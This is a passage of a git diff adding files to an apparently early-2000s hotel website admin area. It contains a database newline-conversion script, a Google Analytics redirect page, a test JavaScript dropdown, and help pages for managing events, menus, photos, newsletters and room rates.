+       $DB->db_exec( "update bus set description2 = replace(description2,'\\n','<br>')" );
+       $DB->db_exec( "update bus set description3 = replace(description3,'\\n','<br>')" );
+       
+       echo 'replacing newlines with &lt;br&gt; in news<br>';
+       $DB->db_exec( "update news set description = replace(description,'\\n','<br>')" );
+       echo 'replacing newlines with &lt;br&gt; in news_block<br>';
+       $DB->db_exec( "update news_block set description2 = replace(description2,'\\n','<br>')" );
+
+       $DB->db_exec( "COMMIT WORK" );
+?>
diff --git a/admin/analytics.html b/admin/analytics.html
new file mode 100644 (file)
index 0000000..2946708
--- /dev/null
@@ -0,0 +1,12 @@
+<!DOCTYPE HTML>
+<html lang="en-US">
+    <head>
+        <meta charset="UTF-8">
+       <meta http-equiv="Refresh" content="5; url=https://www.google.com/analytics/web/?hl=en/">
+        <title>Page Redirection</title>
+    </head>
+    <body>
+       <a href="https://www.google.com/analytics/web/?hl=en/" target="Google">link to example</a>
+    </body>
+</html>
+
diff --git a/admin/bug3.png b/admin/bug3.png
new file mode 100755 (executable)
index 0000000..cc6d93b
Binary files /dev/null and b/admin/bug3.png differ
diff --git a/admin/form.js b/admin/form.js
new file mode 100755 (executable)
index 0000000..0bbabf0
--- /dev/null
@@ -0,0 +1,42 @@
+function reshow(object) {
+    artist = object.options[object.selectedIndex].text;
+        for (var i = document.track.names.length;i > 0;i--)
+            document.track.names.options[0] = null;
+        reloading = true;
+        showlinks();
+        document.track.names.options[0].selected = true;
+    return false;
+}
+
+function load(object) {
+    alert('Just testing: ' + object.options[object.selectedIndex].value);
+    //window.location.href = object.options[object.selectedIndex].value;
+    return false;
+}
+
+function showlinks() {
+    if (artist == 'Chris Rea') {
+        opt('cr/one.zip','The Road To Hell');
+        opt('cr/two.zip','Let\'s Dance');
+    }
+
+    if (artist == 'Annie Lennox') {
+        opt('al/why.zip','Why');
+        opt('al/wobg.zip','Walking on Broken Glass');
+    }
+
+    if (artist == 'Dina Carrol') {
+        opt('dc/track1.zip','Escaping');
+        opt('dc/track2.zip','Only Human');
+    }
+}
+
+function opt(href,text) {
+    if (reloading)  {
+        var optionName = new Option(text, href, false, false)
+        var length = document.track.names.length;
+        document.track.names.options[length] = optionName;
+    }
+    else
+        document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
diff --git a/admin/help/closewindow.gif b/admin/help/closewindow.gif
new file mode 100755 (executable)
index 0000000..c54ed89
Binary files /dev/null and b/admin/help/closewindow.gif differ
diff --git a/admin/help/events.phtml b/admin/help/events.phtml
new file mode 100755 (executable)
index 0000000..6c22f26
--- /dev/null
@@ -0,0 +1,297 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Events Calendar Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Events</h4>
+
+<P>
+This page lists the existing Events.
+</p>
+<p>
+<b>Add A New Event</b>
+</p>
+<p>This link will allow you to add new Event</p>
+<p>
+<b>List Events</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>Edit Topics</b>
+</p>
+<p>This link will allow you to edit Topics associated with Events</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Event</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>This link will let you Delete an existing Event</p>
+<p>
+<b>ON/OFF</b>
+</p>
+<p>There is either a green or red ball in line with each existing Event.
+If the ball is green, the Event is currently visable on the front end of your
+web site. If the ball is red, the event is not visable on the front end of your
+web site. You can easily toggle Event visability by clicking on the ball. If the
+ball was red, and you clicked on it, it should turn green.</p>
+
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit an Event</h4>
+<P>
+This page is for editing and modifying an existing Event in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Events" page.
+</p>
+
+<p>
+<b>Hotel:</b>
+</p>
+<p>This Select Box will determine which Hotel's Web site the Event will be
+displayed on. For example, if you have an Event which you only want displayed
+on the Chippewa Hotel's web site, choose "Chippewa Hotel." You may choose
+either hotel, or both. Note that this is NOT the location where the event is
+taking place (that should be entered in the "Location" field).</p>
+<p>
+<b>Topic:</b>
+</p>
+<p>This is the Topic that the Event will be searchable by. You may select
+a topic from the Select Box, or you may enter a previously non-existant topic
+in the textbox to the right. Please note that if you decide to enter a new
+topic, select "New Topic: (Enter --&gt;)" from the Select Box.
+</p>
+
+<p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Event will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Event will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Start Time:</b>
+</p>
+<p>This is time upon which the Event will begin. It may be formatted however
+you like, i.e. 8:15 pm  or 8 o'clock or ???
+</p>
+<p>
+<b>End Time:</b>
+</p>
+<p>This is time upon which the Event will end. It may be formatted however
+you like, i.e. 8:15 pm  or 8 o'clock or ???
+</p>
+<p>
+<b>Location:</b>
+</p>
+<p>This is location where the event will take place. i.e. Pink Pony Bar and Grill
+</p>
+
+<p>
+<b>Header (One Line Desc.):</b>
+</p>
+<p>This is the text which will appear as a brief summary of the Event</p>
+<p>
+<b>Full Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Event,
+in the Detailed output of the Event</p>
+<p>
+<b>Additional Web Address for Event:</b>
+</p>
+<p>This is URL which will be placed on the Detailed description of the Event.
+This field must be formatted as: http://www.somesite.com </p>
+<p>
+<b>Email of event contact person:</b>
+</p>
+<p>This is email address will be placed on the Detailed description of the
+Event. This field must be a valid email address, such as: jack@foo.com</p>
+<p>
+<b>Picture for Event:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Show Event:</b>
+</p>
+<p>This Select Box will determine whether or not the Event is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the event will be visable.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Event,
+you can click "Submit Query." This will update the information about the
+Event in the database.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add An Event</h4>
+<P>
+This page is for editing and modifying an existing Event in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Events" page.
+</p>
+
+<p>
+<b>Hotel:</b>
+</p>
+<p>This Select Box will determine which Hotel's Web site the Event will be
+displayed on. For example, if you have an Event which you only want displayed
+on the Chippewa Hotel's web site, choose "Chippewa Hotel." You may choose
+either hotel, or both. Note that this is NOT the location where the event is
+taking place (that should be entered in the "Location" field).</p>
+<p>
+<b>Topic:</b>
+</p>
+<p>This is the Topic that the Event will be searchable by. You may select
+a topic from the Select Box, or you may enter a previously non-existant topic
+in the textbox to the right. Please note that if you decide to enter a new
+topic, select "New Topic: (Enter --&gt;)" from the Select Box.
+</p>
+
+<p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Event will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Event will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Start Time:</b>
+</p>
+<p>This is time upon which the Event will begin. It may be formatted however
+you like, i.e. 8:15 pm  or 8 o'clock or ???
+</p>
+<p>
+<b>End Time:</b>
+</p>
+<p>This is time upon which the Event will end. It may be formatted however
+you like, i.e. 8:15 pm  or 8 o'clock or ???
+</p>
+<p>
+<b>Location:</b>
+</p>
+<p>This is location where the event will take place. i.e. Pink Pony Bar and Grill
+</p>
+
+<p>
+<b>Header (One Line Desc.):</b>
+</p>
+<p>This is the text which will appear as a brief summary of the Event</p>
+<p>
+<b>Full Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Event,
+in the Detailed output of the Event</p>
+<p>
+<b>Additional Web Address for Event:</b>
+</p>
+<p>This is URL which will be placed on the Detailed description of the Event.
+This field must be formatted as: http://www.somesite.com </p>
+<p>
+<b>Email of event contact person:</b>
+</p>
+<p>This is email address will be placed on the Detailed description of the
+Event. This field must be a valid email address, such as: jack@foo.com</p>
+<p>
+<b>Picture for Event:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Show Event:</b>
+</p>
+<p>This Select Box will determine whether or not the Event is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the event will be visable.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have edited the Event to your liking,
+you can click "Submit Query." This will add the Event to the database.
+</p>
+<?
+       break;
+       case "edittopic":
+       ?>
+<h4 align="center">Edit Topics</h4>
+<p>
+<b>Existing Topic:</b>
+</p>
+<p>
+This Select Box lists all existing Topics by name. You should choose the
+Topic that you wish to Edit/Delete
+</p>
+<p>
+<b>Change Topic Name:</b>
+</p>
+<p>If you type something into this Text Box, it will change the name
+of the Topic selected under "Existing Topic:" after you click "Change Name"
+</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>If you click [Delete] you will remove the Topic Selected under "Existing
+Topic" (Be Careful)
+</p>
+
+<p>
+<b>Change Name</b>
+</p>
+<p>When you selected a Topic to change, and entered the new name in the
+Text Box, you can click "Change Name" to change the Topic's name in the
+database.
+</p>
+<?
+       break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/helpbg.gif b/admin/help/helpbg.gif
new file mode 100755 (executable)
index 0000000..0b62415
Binary files /dev/null and b/admin/help/helpbg.gif differ
diff --git a/admin/help/menu.phtml b/admin/help/menu.phtml
new file mode 100755 (executable)
index 0000000..fb2ca91
--- /dev/null
@@ -0,0 +1,121 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Menu Items</h4>
+
+<P>
+This page lists the existing Menu Items under a particular Category in the database.
+</p>
+<p>
+<b>Add A New Menu Item</b>
+</p>
+<p>This link will allow you to add new Menu Item</p>
+<p>
+<b>List Menu Items</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>List Categories</b>
+</p>
+<p>This link will take you back to the listing of all Categories</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Menu Item</p>
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Menu Item</h4>
+<P>
+This page is for editing and modifying an existing Menu Item in the
+database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Menu Item" i.e. "Hamburger"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Menu Item will appear in on the Menu. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Menu Item. This text will be
+displayed below the Menu Item on the menu.
+</p>
+<p>
+<b>Price:</b>
+</p>
+<p>This is the text which will appear on the Menu as the price.
+Note that you should format the Price just as you wish it to appear on the
+Menu. i.e. '$16.00' not '16'
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add Menu Item</h4>
+<P>
+This page is for adding new Menu Items in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Menu Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Menu Item" i.e. "Hamburger"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Menu Item. This text will be
+displayed below the Menu Item on the menu.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/menucat.phtml b/admin/help/menucat.phtml
new file mode 100755 (executable)
index 0000000..b6bce91
--- /dev/null
@@ -0,0 +1,111 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Categories</h4>
+
+<P>
+This page lists the existing Menu Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[List Menu]</b>
+</p>
+<p>
+This link will list out the Menu Items associated with a particular Category
+</p>
+
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Menu Categores in the
+database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Entrees"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Category. This text will be
+displayed below the Category Title on the menu.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Menu Categories in the database.
+When editing is complete, click on the "Add" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Entrees"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Category. This text will be
+displayed below the Category Title on the menu.
+</p>
+<p>
+<b>Add</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Add." This will add the information about the new Category
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/newsletter.html b/admin/help/newsletter.html
new file mode 100755 (executable)
index 0000000..e0165ca
--- /dev/null
@@ -0,0 +1,61 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Newsletter Help</H4>
+
+<P>
+This page is for editing and modifying the existing Newsletter in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed to an area where you can view the
+updated Newsletter.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear on the top of the Newsletter</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the actual body of the Newletter. Whatever you type in this field
+will be shown as the body of the Newsletter.
+The body may have multiple paragraphs. By hitting return twice, you place a 
+blank line in the copy.
+</p>
+
+<p>
+<b>Mail Out:</b>
+</p>
+<p>This "Select Box" will determine whether or not the Newsletter gets emailed
+to members of your Contact Database. If you change the Mail Out option to "Yes"
+then the Newsletter will be emailed out, and updated on your web page.
+Otherwise, the Newsletter will only be updated on your web page. The default
+is "No"
+</P>
+
+<p>
+<b>Members from which Hotel:</b>
+</p>
+<p>This "Select Box" will determine who to email the Newsletter to. Note that
+this is only pertinent if "Mail Out" is set to "Yes." The default is members
+from your own Hotel, however, you can also choose to email the Newsletter to
+registered members from "Both Hotels"
+</p>
+
+<p>
+<b>Update</b>
+<p>
+
+<p>When you have made the changes you want to the Newsletter, and determined
+whether or not to email it out, you can click "Update." This will take the
+appropriate action, and direct you to a page where you can view the contents
+and email recipients of the Newsletter
+</p>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/photo.phtml b/admin/help/photo.phtml
new file mode 100755 (executable)
index 0000000..4f0948e
--- /dev/null
@@ -0,0 +1,154 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Photo Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Photos</h4>
+
+<P>
+This page lists the existing Photos under a particular Category in the database.
+</p>
+<p>
+<b>Add A New Photo</b>
+</p>
+<p>This link will allow you to add new Menu Item</p>
+<p>
+<b>List Photos</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>List Categories</b>
+</p>
+<p>This link will take you back to the listing of all Categories</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Photo</p>
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Photo</h4>
+<P>
+This page is for editing and modifying an existing Photo in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Photos" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Photo" i.e. "View of the Straits"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Photo will appear in on the Gallery Page. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Photo. This text will be
+displayed with the Photo in the Gallery.
+</p>
+
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update", you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Photo,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add Photo</h4>
+<P>
+This page is for adding new Photos in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Photos" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Photo" i.e. "View of the Straits"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Photo will appear in on the Gallery Page. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Photo. This text will be
+displayed with the Photo in the Gallery.
+</p>
+
+<p>
+<b>Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/photocat.phtml b/admin/help/photocat.phtml
new file mode 100755 (executable)
index 0000000..86e7f92
--- /dev/null
@@ -0,0 +1,156 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Categories</h4>
+
+<P>
+This page lists the existing Photo Gallery Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[List Photos]</b>
+</p>
+<p>
+This link will list out the Photo Gallery Items associated with a particular Category
+</p>
+
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Photo Gallery Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Photo Gallery Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have entered the information you want for the Cateogry,
+you can click "Insert." This will add the information about the new Category
+in the database.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/help/room_rates.phtml b/admin/help/room_rates.phtml
new file mode 100755 (executable)
index 0000000..9123f85
--- /dev/null
@@ -0,0 +1,172 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Room Rates Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "list":
+       ?>
+<h4 align="center">List Room Rates</h4>
+
+<P>
+This page lists the existing Room Rates from the database.
+</p>
+<p>
+<b>Add A New Room Rate</b>
+</p>
+<p>This link will allow you to add new Room Rate</p>
+<p>
+<b>List Room Rates</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Room Rate</p>
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit a Room Rate</h4>
+<P>
+This page is for editing and modifying an existing Room Rate in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Room Rates" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Room Rates" i.e. "Standard Rooms"</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Room Rate.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Room Rate. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Spring-Fall Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Spring through Fall Period.
+</p>
+<p>
+<b>Spring-Fall Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Spring and Fall Periods.
+</p>
+<p>
+<b>Summer Daily Rates:</b>
+</p>
+<p>
+This is the Daily Rate Price for the Rooms during the Summer Period.
+</p>
+<p>
+<b>Summer Weekend Rates:</b>
+</p>
+<p>
+This is the Weekend Rate Price for the Rooms during the Summer Period.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Room Rate,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+       break;
+       case "add":
+       ?>
+<h4 align="center">Add A Room Rate</h4>
+<P>
+This page is for adding new Room Rates into the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Specials" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Room Rates" i.e. "Standard Rooms"</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
